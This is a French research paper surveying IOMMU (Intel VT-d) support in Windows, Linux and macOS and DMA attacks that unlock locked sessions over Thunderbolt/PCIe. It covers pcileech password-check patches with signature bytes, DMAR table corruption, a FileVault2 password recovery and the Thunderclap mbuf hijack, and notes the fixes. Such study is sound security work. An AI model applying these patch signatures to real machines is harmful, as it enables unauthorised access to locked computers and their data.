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Résumé Ce papier présente un état de I’art des connaissances actuelles
en matiere d’attaques via Direct Memory Access visant & déverrouiller
une session utilisateur. Une revue du fonctionnement et I'intégration de
I'Input Output Memory Management Unit (IOMMU)?® par les princi-
paux systeémes d’exploitation modernes (Windows, macOS et Linux) est
effectuée dans un premier temps. Puis, les attaques existantes via DMA
par périphérique externe sur machine allumée sont présentées. Ces at-
taques permettent d’accéder a la session d’un utilisateur bien que 1’or-
dinateur soit verrouillé. Ces travaux ont été réalisés en prévision d’un
nouveau projet RAPID* par Synacktiv : DMArvest.
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3. Seule la technologie Intel VT-d est traitée dans ce document
4. https://www.defense.gouv.fr/aid/soutenir-vos-projets/subventions/rapid



1 Introduction

La technologie Direct Memory Access (DMA) permet & des périphériques
d’accéder a la mémoire principale (Random Access Memory - RAM) sans passer
par le processeur principal (CPU). Cette technologie existe depuis de nombreuses
années mais pose de nouvelles problématiques avec l'utilisation généralisée des
technologies de virtualisation et de Cloud. Le DMA permet 'amélioration des
performances et est donc indispensable. Cependant, il peut aussi étre utilisé
pour contourner des mécanismes de sécurité implémentés par les composants
logiciels et matériels. Afin de limiter et de controler les acces DMA, un nouveau
composant appelé Input Output Memory Management Unit (IOMMU) a été
intégré. Cette IOMMU détermine notamment les acces mémoire pouvant étre
réalisés par les périphériques situés sur le bus PCL

1.1 Technologies

De multiples bus de communications supportant le DMA ont fait leur appa-
rition au fil des années, afin d’offrir des débits toujours plus importants.

En particulier, PCI, AGP, FireWire et PCI Express, comptent parmi les
technologies plus connues du grand public. Si FireWire tend a disparaitre de
nos jours, PCle évolue constamment avec de nouvelles spécifications permettant
des débits accrus®.

PCle se démocratisant au-dela d’un simple usage graphique, diverses tech-
nologies en tirent parti pour garantir des performances optimales. Par exemple,
les disques durs M.2 NVMe et certaines cartes réseau ou Bluetooth reposent sur
PCle. Thunderbolt permet lui de connecter des périphériques externes directe-
ment sur le bus PCI. La norme USB 4.0, fraichement dévoilée[28], apporte le
support par défaut du PCle Tunneling.
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(a) Disque dur NVMe avec connec- (b) Cable USB-C avec support
tique M.2[22] Thunderbolt[23]

FI1GURE 1: Technologies reposant sur PCI Express

Les attaques décrites dans ce document reposent presque toutes sur I'utilisa-
tion d’un port USB-C permettant ’acces au bus PCI.

5. La spécification 4.0 est sortie en 2017 et la version 5.0 est prévue pour 2019



2 Intel VT-d

2.1 Fonctionnement global

La technologie Intel Virtualization Technology for Directed I/O (VT-d) per-
met de mettre en place une IOMMU. VT-d établit du DMA remapping visant a
restreindre 'acces DMA & certaines zones mémoires. Ce DMA remapping fonc-
tionne a la maniere d’'une MMU classique, la traduction d’adresse s’effectue via
différents niveaux de tables de pages (d’ou le terme I0-MMU), avec un mapping
par pages de 4ko, 2Mo ou 1Go.
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Context
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FIGURE 2: DMA remapping d’'une adresse de 48 bits, avec des pages de 4096
octets

Ainsi, les adresses manipulées par les périphériques peuvent étre vues comme
des adresses virtuelles traduites en adresses physiques.



En plus de cela, VT-d propose de regrouper les périphériques par ”domaines”,
chaque domaine se voyant associer une configuration de MMU spécifique. Plu-
sieurs périphériques partagent alors le méme espace d’adressage s’ils appar-
tiennent au méme domaine.

Chaque périphérique est identifié par le triplet PCI bus:dev:fun, duquel
est dérivé le domaine auquel il appartient. Celui-ci permet de traduire ’adresse
virtuelle en adresse physique.
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F1GURE 3: Topologie PCle comprenant IOMMU, switches et périphériques
PCle[20]

Intel propose plusieurs cas d’usage de 'PIOMMU grace a VT-d :

— contexte hyperviseur : les solutions de virtualisation permettent de
partager les ressources matérielles disponibles a des machines virtuelles.
A titre d’exemple, ’hyperviseur est en mesure d’assigner une carte gra-
phique & une machine virtuelle en particulier. Cette machine virtuelle



pourra alors configurer cette carte graphique qui, étant capable de faire
du DMA, pourra accéder & des zones mémoires arbitraires et potentielle-
ment réaliser un vm-escape. Si 'espace mémoire accessible via DMA est
restreint et correctement configuré par une IOMMU, alors un périphérique
assigné a une machine virtuelle ne pourra accéder qu’a de la mémoire déja
attribuée a cette machine virtuelle. L’isolation des machines virtuelles est
alors effective.

systéeme d’exploitation : un systeme d’exploitation utilisera principa-
lement VT-d afin de protéger son intégrité vis-a-vis de périphériques ex-
ternes malveillants (ce qui correspond & notre cas d’usage). Le principe
est de ne permettre aux périphériques d’accéder qu’aux zones mémoire
légitimes, comme les buffers de données dans le cas d’une carte réseau.
Notons que la granularité la plus fine de VT-d étant la page (4096 oc-
tets), il parait complexe de s’assurer qu’aucune structure kernel ne soit
accessible via DMA.

2.2 Implémentation sous Windows

L’IOMMU est sollicitée comme moyen de protection sous Microsoft Win-
dows ® lors de I'utilisation des technologies suivantes :

— la solution de virtualisation Hyper-V.

— la solution de sécurisation Virtualization Based Security (VBS) basée sur

Hyper-V.

Contrairement aux systémes *NIX et macOS, les détails d’implémentation
du support de 'TOMMU par Windows ne sont pas accessibles publiquement.
La suite de ce document se repose donc sur la documentation fournie par les
équipes de Microsoft ainsi que sur divers travaux de rétro-ingénierie accomplis
par d’autres chercheurs.

Les auteurs de ce papier n’ayant pas encore étudié en détail 'utilisation
de 'TOMMU par Microsoft Windows, les éléments suivants sont fournis a titre
informatif.

Hyper-V Hyper-V est la solution de virtualisation mise en place par Mi-
crosoft. Elle permet, entre autres, la création de machines virtuelles au méme
titre que les logiciels VirtualBox 7 et VMWare Workstation 8. La différence entre
Hyper-V et ces autres solutions se situe dans la technique de virtualisation.

Dans le cas d’une installation basique d’Hyper-V, une partition principale
est créée "au-dessus” de I'hyperviseur. Cette partition racine (root partition) est
celle dans laquelle évoluera l'utilisateur final.

Virtualization Based Security En plus du cas d’utilisation basique, Mi-
crosoft Windows offre la possibilité de protéger certaines ressources critiques du
systeme d’exploitation via Hyper-V :

— secrets d’authentifications

6. au moins jusqu’a la version 1803

7. https://www.virtualbox.org/
8. https://www.vmware.com/fr/products/workstation-pro.html



— intégrité du systeme en bloquant les applications identifiées comme n’étant
pas de confiance
— etc.

Cette nouvelle couche de sécurité n’est possible que via ’activation de la
Virtualization Based Security (VBS)?, elle méme reposant sur Hyper-V. Dans
ce cas spécifique, deux environnements de niveaux de sécurité différents sont
créés par défaut :

— VTLO, représentant I’environnement ”normal” ' et comprenant le noyau

du systeme d’exploitation[1]

— VTLI1, représentant ’environnement ”sécurisé” ou Virtual Secure Mode

(VSM) et contenant un micro-kernel ainsi que des trustlets (contextes
d’exécution séeurisés, type HVCI, KMCI, CredentialGuard, etc.)[1].
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FIGURE 4: Systéme avec Hyper-V et VBS ainsi que quelques trustlets[7]

Mécanismes anti-DMA Comme indiqué en introduction de cette partie,
peu d’informations sont disponibles concernant 1'utilisation de 'TOMMU par les
systemes Windows.

Microsoft déclare que VBS repose sur 'utilisation de 'PIOMMU afin de garan-
tir une ségrégation entre environnements sécurisés. Néanmoins, cette affirmation
ne peut étre vérifiée que via rétro-ingénierie, ce travail n’ayant pas encore été
réalisé.

9. L’activation de ce mécanisme de sécurité requiert du matériel compatible[4].
10. L’utilisateur final évolue dans cet environnement



Parmi les contre-mesures offertes pour se prémunir des attaques DMA, Mi-
crosoft Windows !! désactive le chargement du pilote de périphériques Fire Wire
a la page de login du systeme.

Un administrateur peut également spécifier une liste de GUID[16] identifiant
la classe des périphériques de type FireWire afin que ceux-ci ne soient plus
utilisables par le systeme.

De facon analogue, il semble possible de configurer le systeme afin que les
ports permettant un acces au BUS PCI soient désactivés lorsque le systeme est
verrouillé[18]. Néanmoins, la documentation détaillant cette option est tres floue
et n’explicite pas les mécanismes sous-jacents.

Enfin, Microsoft annonce en 2019[9][19] que la version 1809 de son systeéme
d’exploitation utilise 'IOMMU pour se prémunir des attaques DMA. Ainsi
Microsoft affirme que 'TOMMU serait utilisée afin d’empécher 1'utilisation de
périphériques Thunderbolt 8 pour faire du DMA lorsque le systéme est verrouillé.
Cependant, une fois encore, peu de détails sont fournis sur I'implémentation
d’une telle contre-mesure.

Windows Security

o —
== Core isolation
Security features available on your device that use virtualization-based
@ Home security,
O Virus & threat protection Memory integrity
Prevents attacks from inserting malicious code into high-security
/Q Account protection processes

) Firewall & network protection
(: ) Off
B  App & browser control
Learn more
| 2 Device security

Memory access protection

@ Device performance & health - . y
Protects your device’s memory from attacks by malicious external devices

s  Family options

Learn more

F1GURE 5: Capture d’écran montrant la fonctionnalité de protection contre les
attaques DMA basées sur Thunderbolt 8 sur un systeme Windows Insiders Pre-
view

2.3 Implémentation sous Linux

Le code chargé de configurer 'TOMMU pour les différentes plateformes se
trouve dans le dossier 1inux/drivers/iommu/. Ce dossier contient aussi du code
permettant d’interagir avec des hyperviseurs, comme Hyper-V.

Une grande diversité de plateforme est prise en compte :

11. pour les systemes a partir de Windows 8.1



— Intel ; — MicroTik ;
— AMD ; — etc.
— Exynos ;

L’IOMMU n’est pas activée par défaut sur Linux. Afin d’en bénéficier, il est
nécessaire de spécifier 'argument de démarrage intel_iommu=on[14] (respective-
ment amd_iommu=on pour les processeurs AMDI2]). Chaque type d’TOMMU, cor-
respondant a une plateforme différente, définit une structure struct iommu_ops
servant de couche d’abstraction et d’interface pour interagir avec le matériel[3].

const struct iommu_ops intel_iommu_ops = {

.capable = intel_iommu_capable,
.domain_alloc = intel_iommu_domain_alloc,
.domain_free = intel_iommu_domain_free,
.attach_dev = intel_iommu_attach_device,
.detach_dev = intel_iommu_detach_device,
.aux_attach_dev = intel_iommu_aux_attach_device,
.aux_detach_dev = intel_iommu_aux_detach_device,
.aux_get_pasid = intel_iommu_aux_get_pasid,
.map = intel_iommu_map,

.unmap = intel_iommu_unmap,
.iova_to_phys = intel_iommu_iova_to_phys,
.add_device = intel_iommu_add_device,
.remove_device = intel_iommu_remove_device,
.get_resv_regions = intel_iommu_get_resv_regions,
.put_resv_regions = intel_iommu_put_resv_regions,
.device_group = pci_device_group,
.dev_has_feat = intel_iommu_dev_has_feat,
.dev_feat_enabled = intel_iommu_dev_feat_enabled,
.dev_enable_feat = intel_iommu_dev_enable_feat,
.dev_disable_feat = intel_iommu_dev_disable_feat,
.pgsize_bitmap = INTEL_IOMMU_PGSIZES,

Listing 1: Structure iommu_ops|[3]

Les primitives de mapping d’adresse sont relativement simples. Elles per-
mettent d’associer & une adresse physique (paddr) une adresse virtuelle vue
depuis le périphérique (iova) en y associant des droits de lecture et/ou écriture.
Ces mappings se font par domaine et non pas par périphérique. Un appel & ces
fonctions peut donc servir pour plusieurs périphériques.



int (*map) (
struct iommu_domain *domain,
unsigned long iova,
phys_addr_t paddr,
size_t size,
int prot

)3

size_t (*unmap) (
struct iommu_domain *domain,
unsigned long iova,
size_t size

)

Listing 2: Fonctions map et unmap

Notons que chaque périphérique détient son propre domaine. L’adressage est
donc différent pour chaque périphérique.

2.4 Implémentation sous macOS

macOS est probablement le systeme d’exploitation utilisant le plus les fonc-
tionnalités physiques de sécurité. Ceci s’explique probablement car Apple maitrise
entierement la chaine de construction de ses produits, du matériel au logiciel, et
n’a donc aucun probleme de compatibilité.

A lopposé, Linux et Windows se doivent d’étre le plus générique possible, et
ne peuvent donc pas imposer de fonctionnalités trop dépendantes d’un matériel
en particulier.

Ainsi, macOS active par défaut 'TOMMU des le démarrage, au sein de
I'UEFI. Ce composant n’étant pas open source, un travail de rétro-ingénierie
a été commencé mais reste a terminer.

Les premiers résultats montrent que l'implémentation est conforme a ce
que préconise Intel dans son white paper [15]. Apple expose un protocole (au
sens UEFI) personnalisé permettant aux drivers de configurer les mappings de
'TIOMMU par périphérique. Ce protocole est notamment utilisé par le pilote ex-
posant le Target Disk Mode[29], pour rendre possible la communication avec le
controleur Thunderbolt 3 et le disque NVMe.

Lorsque 'UEFT transfere 'exécution au systéme d’exploitation macOS, le
driver I0PCIFamily se charge de ré-initialiser 'TOMMU pour qu’elle soit utili-
sable dans le nouveau contexte[6].

Ce pilote déclare alors une classe AppleVIDDeviceMapper surchargeant I0Mapper.
Cette classe redéfinit les deux méthodes iovmMapMemory et iovmUnmapMemory
permettant respectivement d’ajouter ou de supprimer des mappings mémoire
dans 'TOMMU.

Contrairement & Linux, macOS n’utilise qu'un seul domaine pour tous les
périphériques.
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3 Attaques existantes

Cette partie porte sur les différentes attaques reposant sur un acces DMA.
Seules les attaques logicielles sont présentées et n’est uniquement considéré que
le cas d’un acces physique a un poste de travail verrouillé, sur lequel ’attaquant
souhaite avoir un acces total.

S’il est possible de réaliser des attaques via le protocole FireWire, seules
les attaques basées sur la technologie PCI FEzpress sont exposées. En effet, les
constructeurs d’ordinateurs n’offrent plus par défaut de connectique Fire Wire
contrairement a la connectique basée sur norme M.2 et le Thunderbolt via USB-

C.

3.1 pcileech sous Windows

Déverrouillage d’un poste n’utilisant pas 'PIOMMU

Dans le but de déverrouiller un poste sous Windows, ’approche du logiciel
pcileech consiste a altérer la routine de vérification d’identité d’un utilisateur.
Pour cela, cette application parcourt la mémoire physique de I'ordinateur ciblé
en intégralité a la recherche de motifs permettant d’identifier la routine. Une fois
les motifs identifiés, le code responsable de la vérification d’identité est modifié
en mémoire afin d’autoriser 'authentification de l'utilisateur, quel que soit le
mot de passe fourni.

MsvpPasswordValidate est la fonction en charge de valider I'identité dun
utilisateur. Elle est présente dans la bibliotheque partagée msv1_0.d11 jusqu’a
Windows 8.1 inclus et dans Nt1lmShared.dll a partir de Windows 10.

L’extrait de code assembleur '2 en charge de comparer I'entrée utilisateur aux
secrets stockés par le systeme est le suivant :

:0000000180003730 41 BE 10 00 00 00 mov ri4d, 10h
:0000000180003736 48 8D 56 50 lea rdx, [rsi+50h] ; Source2
:000000018000373A 45 8B C6 mov r8d, rl4dd ; Length
:000000018000373D 48 8B CB mov rcx, rbx ; Sourcel
:0000000180003740 FF 15 B2 1B 00 00 call cs:RtlCompareMemory
:0000000180003746 49 3B C6 cmp rax, ri4
:0000000180003749 OF 84 OB FB FF FF jz loc_18000325A
:000000018000374F

:000000018000374F loc_18000374F:

:000000018000374F

:000000018000374F 32 CO xXor al, al

:0000000180003751 E9 06 FB FF FF jmp loc_18000325C

Listing 3: NtlmShared.dll, version 10.0.17763.1, Windows 10 x64

12. Code désassemblé par le logiciel IDA Pro
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Cet extrait est décompilé ® de la sorte :

/7 [.o..]
else if ( RtlCompareMemory(v8, (const void *)(v9 + 80), 0x10ui6d) == 16 )
{
return 1;
}

return O;

Listing 4: Vérification de ’entrée utilisateur

Aussi, la méthodologie de pcileech consiste & trouver en mémoire physique
les motifs correspondants aux opcodes recherchés et les altérer de sorte que le
programme retourne toujours 1. La maniere dont le code doit étre modifié peut
varier en fonction de la version de la DLL. Dans certains cas, il peut étre suffisant
de changer la condition d’un saut conditionnel, ou alors de simplement retirer
un ensemble d’opcodes comme dans cet exemple :

:0000000180003730 41 BE 10 00 00 00 mov rl4d, 10h
:0000000180003736 48 8D 56 50 lea rdx, [rsi+50h] ; Source2
:000000018000373A 45 8B C6 mov r8d, rldd ; Length
:000000018000373D 48 8B CB mov rcx, rbx ; Sourcel
:0000000180003740 FF 15 B2 1B 00 00 call cs:RtlCompareMemory
:0000000180003746 49 3B C6 cmp rax, rld
:0000000180003749 90 nop

:000000018000374A 90 nop

:000000018000374B 90 nop

:000000018000374C 90 nop

:000000018000374D 90 nop

:000000018000374E 90 nop

:000000018000374F

:000000018000374F loc_18000374F:

:000000018000374F

:000000018000374F BO 01 mov al, 1

:0000000180003751 E9 06 FB FF FF jmp loc_18000325C

Listing 5: Routine de vérification modifiée pour retourner 1

13. Code obtenu par le décompilateur de Hex-Rays[13]
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/7 [.o..]
else
{
RtlCompareMemory(v8, (const void *)(v9 + 80), 0x10ui64);
}

return 1;

Listing 6: La vérification retourne 1 quelle que soit ’entrée utilisateur

Pour pouvoir patcher de fagon adéquate, pcileech nécessite que lui soit fourni
un fichier contenant une ou plusieurs signatures susceptibles de correspondre
aux motifs recherchés. Ces signatures sont de la forme "offsetl, opcodesl,
offset2, opcodes2, offset3, opcodes3" :

— offsetl : décalage du premier motif & rechercher par rapport au début

de la page mémoire courante.

— opcodesl : premier motif & rechercher en mémoire, sous forme d’opcodes.

— offset2 (optionnel) : décalage du second motif & rechercher par rapport

au début de la page mémoire courante.

— opcodes2 (optionnel) : second motif & rechercher en mémoire, sous

forme d’opcodes.

— offset3 : décalage du patch a appliquer par rapport au début de la page

mémoire courante.

— opcodes3 : patch a appliquer a I’offset3, sous forme d’opcodes.

Dans 'exemple abordé précédemment, la signature permettant de produire
un tel patch est la suivante 4 :

748 ,C60F840BFBFFFF32C0E906,0,-,749,909090909090B001

Apres avoir modifié la mémoire physique de I'ordinateur attaqué, 'attaquant
peut avoir acces a un compte donné, quel que soit le mot de passe qu'’il saisit.

Déverrouillage d’un poste utilisant ’'TOMMU

Nous avons vu que Windows tire parti de 'TOMMU lorsque la Virtualization
Based Security (VBS) est activée (voir Implémentation sous Windows page 4).
Néanmoins, lorsque les prérequis matériels ne sont pas satisfaits lors de la
séquence de boot, le systeme d’exploitation désactive VBS afin de garantir un
démarrage réussi. Ce comportement spécifique de Windows est exploitable par un
attaquant pour s’abstraire des mécanismes de protection issus de 'TOMMU[24].
En effet, lors de la phase de démarrage le systéme d’exploitation consulte
la table ACPI DMAR'. Cette table est une structure en mémoire décrivant,

14. Le script ”search_offsets_ DMA.py”[17] a été utilisé pour déterminer ces offsets
15. "DMAR” est 'abréviation de ”"DMA Remapping”
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entres autres, l'adresse a laquelle se trouvent les registres de configuration de
IOMMU. Des lors, si ’OS ne parvient pas & trouver cette table ACPI, il n’est
pas capable de configurer 'TOMMU.

L’attaque consiste donc a identifier en mémoire cette table puis la corrompre,
en altérant simplement le premier champ '. Cette phase d’identification est tri-
viale car la table commence par la signature DMAR et I’adresse en mémoire est
fixe d’'un redémarrage & un autre.

Le systeme d’exploitation, ne trouvant pas I’IOMMU, démarre en désactivant
VBS.

3.2 pcileech sous Linux

La méthodologie pour déverrouiller un ordinateur sous Linux via pcileech
étant identique a celle pour Windows, elle ne sera pas explicitée dans cet ar-
ticle. Simplement, la fonction wverify_pwd_hash de la bibliotheque pam_uniz.so
est altérée afin de déverrouiller la session utilisateur.

3.3 pcileech sous macOS

Déverrouillage d’un poste n’utilisant pas 'PIOMMU

peileech supporte macOS jusqu’a la version Sierra (10.12.x)[27]. Par défaut,
macOS se protege contre les périphériques malveillants en utilisant une IOMMU.
Néanmoins, il est possible de désactiver cette protection a ’aide du mode reco-
very. Ce mode est accessible librement, excepté si un mot de passe EFI a été
défini.

Le mode recovery est accessible en appuyant sur les touches Command+R
lors du démarrage. Il suffit ensuite de positionner la variable nvram boot-args a
dart=0x0'7. Cet argument de boot permet de spécifier au driver IOPCIFamily de
ne pas activer 'TOMMU. Il est alors possible, au prochain démarrage, d’accéder
a toute la mémoire physique depuis un périphérique externe.

Cette attaque reste relativement contraignante dans la mesure ou elle nécessite
un redémarrage de la machine cible. De plus, si cette derniere est protégée par
File Vault2[5], il n’est alors plus possible d’accéder aux données. Enfin, si un mot
de passe EFI a été défini par I'utilisateur il est également impossible d’accéder
aux données.

Lorsque 'TOMMU n’est pas utilisée, le déverrouillage de 'ordinateur s’effec-
tue suivant la méme méthodologie que pour Windows en altérant la routine de
vérification du mot de passe. La fonction a modifier en mémoire est ODRecord-
VerifyPassword de la bibliotheque OpenDirectory.framework (Listing 7). Cette
fonction est utilisée par le module pam pam_opendirectory.so.2 afin de vérifier
le mot de passe spécifié par 'utilisateur. Une fois cette fonction patchée, il est
alors possible de se connecter avec n'importe quel mot de passe.

16. Cette attaque n’est réalisable qu’en cas d’absence de mécanismes de pré-
authentification lors de la phase de démarrage
17. A partir de la version 10.13.x, 'option dart n’est plus disponible.
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SIGNATURE oSigs[NUMBER_OF_SIGNATURES] = {

{

[}

[}

.chunk = { // CFOpenDirectory!ODRecordVersfyPassword (El Capitan | 466064 bytes)
{ .cbOffset = Oxfce,.cb = 6,.pb = { 0xe8, 0x69, Oxc4, 0x00, 0x00, Oxeb, 0x02,
{ .cbOffset = 0xfd3,.cb = 6,.pb = { Oxeb, 0x02, 0x31, Oxdb, 0x88, 0xd8, 0x48,
{ .cbOffset = 0xfd7,.cb = 2,.pb = { 0xb0O, 0x01 } } }

.chunk = { // CFOpenDirectory!ODRecordVersifyPassword (El Capitan | 466064 bytes)
{ .cbOffset = 0x134,.cb = 8,.pb = { 0x08, 0x00, 0x00, 0x00, Ox4c, 0x89, 0xf7,
{ .cbOffset = 0x13c,.cb = 8,.pb = { 0x3e, Oxc4, 0x00, 0x00, Oxeb, 0x02, 0x31,
{ .cbOffset = 0x144,.cb = 2,.pb = { 0xb0, 0x01 } } }

.chunk = { // CFOpenDirectory!ODRecordVerifyPassword (Sierra 10.12.3)
{ .cbOffset = 0x130,.cb = 8,.pb = { 0x08, 0x00, 0x00, 0x00, Ox4c, 0x89, 0xf7,
{ .cbOffset = 0x138,.cb = 8,.pb = { 0x3e, Oxc4, 0x00, 0x00, Oxeb, 0x02, 0x31,
{ .cbOffset = 0x140,.cb = 2,.pb = { 0xb0, 0x01 } } }

.chunk = { // CFOpenDirectory!ODRecordVerifyPassword (Sierra 10.12.4)
{ .cbOffset = 0x130,.cb = 8,.pb = { 0x08, 0x00, 0x00, 0x00, Ox4c, 0x89, 0xf7,
{ .cbOffset = 0x138,.cb = 8,.pb = { Oxla, Oxc4, 0x00, 0x00, Oxeb, 0x02, 0x31,
{ .cbOffset = 0x140,.cb = 2,.pb = { 0xb0, 0x01 } } }

Listing 7: Signature macOS de pcileech

Filevault2 de macOS

Filevault2 est la solution de Apple permettant de chiffrer entierement le
disque dur des ordinateurs sous macOS. pcileech supporte I'extraction du mot
de passe Filevault2 de la mémoire avant la version 10.12.2[26][25].

Cette extraction est possible pour plusieurs raisons :

— I'EFI de Apple n’active pas 'TOMMU avant que le systeme d’exploitation
principal ne soit chargé. Or, le contréleur Thunderbolt est configuré pour
pouvoir supporter le mode TDM][29]. Un périphérique Thunderbolt peut
donc faire des acces DMA lors de la phase de démarrage.

— le mot de passe Filevault? est stocké en clair dans la mémoire et n’est pas
effacé lors d’un redémarrage. De plus, ’adresse a laquelle se trouve cette
chaine de caracteres differe peu d’un redémarrage a 'autre.

Dans le cas d’'un mac allumé et chiffré avec Filevault2, 'attaque consiste donc
a brancher un périphérique Thunderbolt puis redémarrer. L’attaquant dispose
alors d’une fenétre de quelques secondes au redémarrage pour lire le mot de
passe Filevault2 en clair avant que la zone mémoire ne soit réutilisée.
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Q:\>pcileech.exe mac_fvrecover

MAC_FVRECOVER: WAITING ... please reboot ...
Please force a reboot of the mac by pressing CTRL+CMD+POWER
WARNING! This will not work in macOS Sierra 10.12.2 and later.
MAC_FVRECOVER: Continuing ...

MAC_FVRECOVER: Writing partial memory contents to file ...
MAC_FVRECOVER: File: pcileech-mac-fvrecover-20161129-005743.raw.
MAC_FVRECOVER: Analyzing ...

MAC_FVRECOVER: PASSWORD CANDIDATE: DonaldDuck

MAC_FVRECOVER: PASSWORD CANDIDATE: _4bars

MAC_FVRECOVER: Completed.

Q:\>

FIGURE 6: Extraction du mot de passe Filevault?2 avec pcileech

Cette vulnérabilité a été corrigée par Apple dans la version 10.12.3 en activant
'TOMMU (VT-d) des I'EFI :

EFI:

— Available for: macOS Sierra 10.12.3

— Impact: A malicious Thunderbolt adapter may be able to recover
the FileVault 2 encryption password

— Description: An issue existed in the handling of DMA. This issue
was addressed by enabling VT-d in EFI.

— CVE-2016-7585: Ulf Frisk (QUIfFrisk)

3.4 Thunderclap

Thunderclap est le nom donné par ses auteurs au papier traitant de vulnérabilités
dans les systemes d’exploitation au niveau de I'implémentation des protections
par IOMMU. Ces vulnérabilités sont relatives aux acces DMA via périphériques
externes n’étant pas de confiance '®. Ces travaux ont été réalisés dans le cadre
de la theése de Colin Rothwell[21].

La partie innovante de ces recherches concerne la description d’une nouvelle
attaque sur macOS. Cette attaque permet d’exécuter du code arbitraire avec les
privileges les plus élevés (root) alors que PIOMMU est activée.

Etant donné que tous les périphériques PCle sont dans le méme domaine,
ceux-ci ont tous acces au méme espace d’adressage. Il est ainsi possible d’accéder
aux pages utilisées par la carte réseau pour lire et écrire les données devant
transiter. macOS utilise la structure mbuf pour décrire les paquets devant étre
émis sur le réseau. Ces structures sont donc visibles dans la mémoire depuis un
périphérique externe.

18. ”Vulnerabilities in Operating System IOMMU Protection via DMA from Un-
trustworthy Peripherals”[8]
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/* header at beginning of each mbuf: */
struct m_hdr {

struct mbuf *mh_next; /* next buffer in chain */
struct mbuf *mh_nextpkt;/#* next chain in queue/record */
caddr_t mh_data; /* location of data */
int32_t mh_len; /* amount of data in this mbuf */
u_int16_t mh_type; /% type of data in this mbuf */
u_intl6_t mh_flags; /* flags; see below */

};

/*

* Description of external storage mapped into mbuf, wvalid only if M_EXT set.
*/

struct m_ext {

caddr_t ext_buf; /* start of buffer */

void (xext_free) (caddr_t, u_int, caddr_t); /* free routine if not the usual */
u_int ext_size; /* size of buffer, for ext_free */
caddr_t ext_arg; /* additional ext_free argument */

struct ext_ref {
struct mbuf *paired;
u_int16_t minref;
u_int16_t refcnt;
u_int16_t prefcnt;
u_int16_t flags;
u_int32_t priv;

} *ext_refflags;

};

struct mbuf {
struct m_hdr m_hdr;
union {
struct {
struct pkthdr MH_pkthdr; /* M_PKTHDR set */
union {
struct m_ext MH_ext; /* M_EXT set */
char MH_databuf [_MHLEN] ;
} MH_dat;
} MH;
char M_databuf [_MLEN]; /* /M_PKTHDR, !M_EXT */
} M_dat;

Listing 8: Structure struct mbuf

Des macros sont définies afin d’accéder aux champs de fagon claire. Celles-ci
seront employées dans le reste du document :
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— m-next : m_hdr.mh next — m_nextpkt : m_hdr.mh nextpkt

— m_len : m_hdr.mh_len — m_pkthdr : M_dat.MH.MH_pkthdr

— m_data : m_hdr.mh_data — m_ext :M_dat.MH.MH dat.MH_ext

— m_type : m_hdr.mh_type — m_pktdat : M_dat.MH.MH_dat.MH_databuf
— m_flags : m_hdr.mh_flags — m_dat : M_dat.M_databuf

Lorsque le flag M_EXT est spécifié dans le champ m_flags, le champ m_ext est
utilisé. De base, un mbuf permet de stocker au maximum MLEN octets. Le champ
m_ext permet de gérer un buffer externe pour le stockage des données du mbuf.
Le champ m_ext.ext_free est utilisé pour stocker un pointeur permettant de
libérer le buffer externe.

Lorsque la fonction ext_free est appelée, les champs ext_buf, ext_size et
ext_arg sont passés en parametres. Dans la mesure ou toutes ces données sont
accessibles en lecture et écriture via DMA, il est possible de modifier le poin-
teur de fonction et de détourner le flux d’exécution du noyau vers une fonction
arbitraire, tout en controlant les trois premiers arguments.

La fonction du noyau KUNCExecute *? permet de lancer un exécutable en tant
que root dans le userland. 11 suffit donc de modifier un m_ext.ext_free et d’at-
tendre que le mbuf modifié soit libéré pour, par exemple, lancer Terminal . app
en tant que root.

Apple a corrigé ce probleme en masquant les pointeurs m_ext.ext _free et
m_ext.ext_refflags avec deux valeurs aléatoires définies lors du démarrage du
systeme.

__attribute__((visibility("hidden")));
_attribute__((visibility("hidden")));

uintptr_t mb_obscure_extfree
uintptr_t mb_obscure_extref

read_random(&mb_obscure_extref, sizeof (mb_obscure_extref));
read_random(&mb_obscure_extfree, sizeof (mb_obscure_extfree));

Listing 9: mb_obscure_extfree et mb_obscure_extref

Il n’est donc plus possible de modifier ces pointeurs sans connaitre les valeurs
de ces masques. Cette contre-mesure rend ainsi caduque l'attaque a partir de
macOS 10.12.4.

4 Conclusions

Comme escompté, macOS demeure le systeme d’exploitation le plus avancé en
matiere de protections DMA. Bien que les autres systémes d’exploitation grand

19. https://developer.apple.com/documentation/kernel /1434510-kuncexecute
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public tentent de combler leur retard, celui d’Apple reste le seul a proposer
I'utilisation de 'PIOMMU par défaut.

Les différentes attaques présentées au sein de ce papier visent en particu-
lier les systémes d’exploitation dans leur configuration de base. Aussi, il serait
intéresserant d’étudier les contre-mesures existantes nécessitant un durcissement
du socle systéme. Par ailleurs, peu de ressources[10][11][12] existent concernant
I'implémentation de 'TOMMU en elle-méme et son niveau de sécurité selon les
plateformes. Les auteurs de ce papier suivront ces axes de recherche dans le cadre
du projet RAPID DMArvest.
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